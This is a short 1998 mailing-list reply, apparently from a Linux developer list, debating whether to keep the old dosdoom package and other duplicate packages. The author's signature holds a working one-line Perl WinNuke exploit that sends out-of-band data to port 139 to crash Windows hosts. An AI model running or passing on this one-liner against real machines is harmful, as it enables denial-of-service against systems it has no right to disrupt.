Re: FWD: Re: lxdoom dehacked
On Thu, 22 Oct, 1998, firstname.lastname@example.org wrote:
> On Thu, Oct 22, 1998 at 06:54:43PM +0100, Edward Betts wrote:
> > On Wed, 21 Oct, 1998, Joey Hess wrote:
> > > Thought those complaining of no dehacked support might find this useful. Any
> > > other reasons to keep the old dosdoom around?
> > any reason to remove it?
> > i mean we have xemacs and gnu emacs, egc and gcc, gawk and mawk, nvi and vim
> > and elvis. We defienatly need to go through deleting some of these duplicates.
> Zapping any of the packages you listed, aside from MAYBE emacs, would
> result in numerous people out for your head, myself included.. (=:]
> There are VERY good reasons for keeping gcc and egcs, all the different
> vi's, gawk and mawk have slightly functionality, etc....
> Basicly, more choices are better IMHO..
> Zephaniah E, Hull, <--- Uses both vim and elvis, and gcc and egcs..
sarcasum does not carry well in email, i was suggesting why it makes sense to
a=IO::Socket;perl -M$a -e$a'::INET->new(PeerAddr=>"host:139")->send(1,MSG_OOB)'
-- winnuke in ONE line